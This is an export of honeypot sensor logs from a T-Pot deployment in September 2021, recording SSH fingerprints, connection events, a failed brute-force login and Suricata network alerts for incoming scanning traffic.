"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2319, "timestamp": "2021-09-20T12:10:11.835789", "@timestamp": "2021-09-20T12:10:11.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35819	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:11.831694+03	2021-09-20 15:15:03.759689+03	{"_id": "MQYdA3wBvYTbRNuEH15h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2319 (192.168.176.2:22) [session: 8af6019e4aae]", "session": "8af6019e4aae", "@version": "1", "protocol": "ssh", "src_port": 2319, "dest_port": 22, "timestamp": "2021-09-20T12:10:11.831694Z", "@timestamp": "2021-09-20T12:10:11.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35820	23.97.240.235	109.199.241.180	Fatt	2021-09-20 15:10:56.027279+03	2021-09-20 15:15:03.76069+03	{"_id": "6AYdA3wBvYTbRNuEyV6M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38232, "dest_port": 22, "timestamp": "2021-09-20T12:10:56.027279", "@timestamp": "2021-09-20T12:10:56.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
35821	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:10:56.027737+03	2021-09-20 15:15:03.76169+03	{"_id": "8QYdA3wBvYTbRNuEy15X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "33a2acbab033", "@version": "1", "timestamp": "2021-09-20T12:10:56.027737Z", "@timestamp": "2021-09-20T12:10:56.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
35822	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:10:56.298949+03	2021-09-20 15:15:03.762689+03	{"_id": "8gYdA3wBvYTbRNuEy15X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.login.failed", "message": "login attempt [knox/knox@123] failed", "session": "33a2acbab033", "@version": "1", "password": "knox@123", "username": "knox", "timestamp": "2021-09-20T12:10:56.298949Z", "@timestamp": "2021-09-20T12:10:56.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
35823	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:46.000689+03	2021-09-20 15:15:03.76469+03	{"_id": "9AYdA3wBvYTbRNuEzF55", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:45.086901+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 1501977880646517, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 47208, "timestamp": "2021-09-20T12:10:46.000689Z", "@timestamp": "2021-09-20T12:10:46.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
45335	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:43:49.023914+03	2021-09-20 16:45:02.812593+03	{"_id": "ogZyA3wBvYTbRNuE1qxg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:43:49.023914Z", "@timestamp": "2021-09-20T13:43:49.023Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35824	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:56.704572+03	2021-09-20 15:15:03.76569+03	{"_id": "9gYdA3wBvYTbRNuEzV51", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 31327, "timestamp": "2021-09-20T12:10:56.704572", "@timestamp": "2021-09-20T12:10:56.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35825	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:10:56.703659+03	2021-09-20 15:15:03.767689+03	{"_id": "-QYdA3wBvYTbRNuEz15B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "1e3a6334d3a6", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:10:56.703659Z", "@timestamp": "2021-09-20T12:10:56.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35826	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:10:57.000101+03	2021-09-20 15:15:03.76869+03	{"_id": "_wYdA3wBvYTbRNuE0F5h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:55.948939+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1549061460294347, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 56252, "timestamp": "2021-09-20T12:10:57.000101Z", "@timestamp": "2021-09-20T12:10:57.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35827	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:58.578495+03	2021-09-20 15:15:03.770691+03	{"_id": "BQYdA3wBvYTbRNuE018q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "73b93f327549", "@version": "1", "timestamp": "2021-09-20T12:10:58.578495Z", "@timestamp": "2021-09-20T12:10:58.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35828	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:58.306214+03	2021-09-20 15:15:03.771691+03	{"_id": "DwYdA3wBvYTbRNuE1V-O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2320, "timestamp": "2021-09-20T12:10:58.306214", "@timestamp": "2021-09-20T12:10:58.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35829	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:10:58.997798+03	2021-09-20 15:15:03.773689+03	{"_id": "FAYdA3wBvYTbRNuE118U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8019f88c84fd", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:10:58.997798Z", "@timestamp": "2021-09-20T12:10:58.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	IN
35830	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:10:59.5898+03	2021-09-20 15:15:03.77469+03	{"_id": "FgYdA3wBvYTbRNuE118U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "99a4b4631518", "@version": "1", "timestamp": "2021-09-20T12:10:59.589800Z", "@timestamp": "2021-09-20T12:10:59.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
35831	13.107.3.254	109.199.241.180	Suricata	2021-09-20 15:10:59.442212+03	2021-09-20 15:15:03.77569+03	{"_id": "GAYdA3wBvYTbRNuE2F80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:59.442212+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.3.254", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.3.254", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1750834733104996, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62503, "timestamp": "2021-09-20T12:10:59.442212Z", "@timestamp": "2021-09-20T12:10:59.442Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35832	43.240.6.90	109.199.241.180	Suricata	2021-09-20 15:10:59.306615+03	2021-09-20 15:15:03.776691+03	{"_id": "GgYdA3wBvYTbRNuE2F80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "flow_id": 342469859504825, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53462, "dest_port": 22, "timestamp": "2021-09-20T12:10:59.306615Z", "@timestamp": "2021-09-20T12:10:59.306Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	IN
